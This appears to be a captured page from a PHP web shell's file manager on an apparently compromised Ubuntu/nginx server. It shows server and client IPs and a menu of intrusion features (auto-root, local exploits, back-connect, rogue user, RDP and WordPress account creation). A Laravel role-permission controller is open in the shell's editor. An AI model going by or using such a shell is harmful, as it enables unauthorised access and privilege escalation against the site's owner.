Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
app /
Http /
Controllers /
User /
[ HOME SHELL ]
Name
Size
Permission
Action
RoleController.php
5.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RoleController.php
<?php namespace App\Http\Controllers\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Model\Role; use Sentinel; use App\Model\Module as Module; class RoleController extends Controller { public function index() { if(!checkAccess('roles.browse')){ return redirect('admin/permission-error'); } try{ $roles = Role::all(); return view('admin.role.index',compact('roles')); }catch(\Exception $e){ return redirect()->back()->with('error','Oops! Something Went Wrong'); } } public function create() { if(!checkAccess('roles.add')){ return redirect('admin/permission-error'); } return view('admin.role.create'); } public function store(Request $request) { $this->validate($request, [ 'name'=>'required|unique:roles|max:255', ]); try{ $roles = new Role(); $roles->name = $request->name; $roles->slug = str_slug($request->name,'-'); $permissions = []; $modules = Module::pluck('slug','id'); $actions = ['browse','view','add','edit','delete']; foreach ($modules as $module) { foreach ($actions as $action) { $permissions[$module.'.'.$action] = false; } } $roles->permissions = json_encode($permissions); $roles->save(); return redirect('admin/roles')->with('success','Roles successfully Created!'); }catch(\Exception $e){ return redirect()->back()->with('error','Oops! Something Went Wrong'); } } public function show($id) { } public function edit(Role $role) { if(!checkAccess('roles.edit')){ return redirect('admin/permission-error'); } return view('admin.role.edit',compact('role')); } public function update(Request $request, Role $role) { $this->validate($request,[ 'name'=>"required|unique:roles,name,$role->id,id|max:255", ]); try{ $role->name = $request->name; $role->slug = str_slug($request->name,'-'); $role->save(); return redirect('admin/roles')->with('success','Roles successfully Updated!'); }catch(\Exception $e){ return redirect('admin/roles')->with('error','Oops! Something Went Wrong'); } } public function destroy(Role $role) { if(!checkAccess('roles.delete')){ return redirect('admin/permission-error'); } try{ $role->delete(); return redirect('admin/roles')->with('success','Role successfully Deleted!'); }catch(\Exception $e){ return redirect('admin/roles','Oops! Something Went Wrong'); } } public function setPermission($role_id) { try{ $role = \Sentinel::findRoleById($role_id); $pers = $role->permissions; $actions = ['browse','view','add','edit','delete']; $modules = Module::pluck('slug','id'); foreach ($modules as $module) { foreach ($actions as $action) { if(array_key_exists($module.'.'.$action, $pers)){ $permissions[$module][$action] = $pers[$module.'.'.$action]; }else{ $permissions[$module][$action] = false; } } } foreach ($permissions as $key => $value) { $extract = array_values($value); if(in_array(false, $extract)){ $all[$key] = false; }else{ $all[$key] = true; } } return view('admin.permission.form',compact('modules','permissions','all','role')); }catch(\Exception $e){ return redirect()->back()->with('error','Oops! Something went wrong'); } } public function updatePermission(Request $request, $role_id) { try{ $data = $request->all(); $role = Role::findOrFail($role_id); $perm = []; $i=0; $actions = ['browse','view','add','edit','delete']; $modules = Module::pluck('slug','id'); foreach ($modules as $module) { foreach ($actions as $action) { if(array_key_exists($module.'.'.$action, array_key_exists('permission', $data) ? $data['permission'] :[])){ $perm[$module.'.'.$action] = true; }else{ $perm[$module.'.'.$action] = false; } } } $role->permissions = json_encode($perm); $role->save(); return redirect()->to('admin/roles')->with('success','Permissions successfully updated!'); }catch(\Exception $e){ return redirect()->back()->with('error','Oops! Something went wrong'); } } }
Close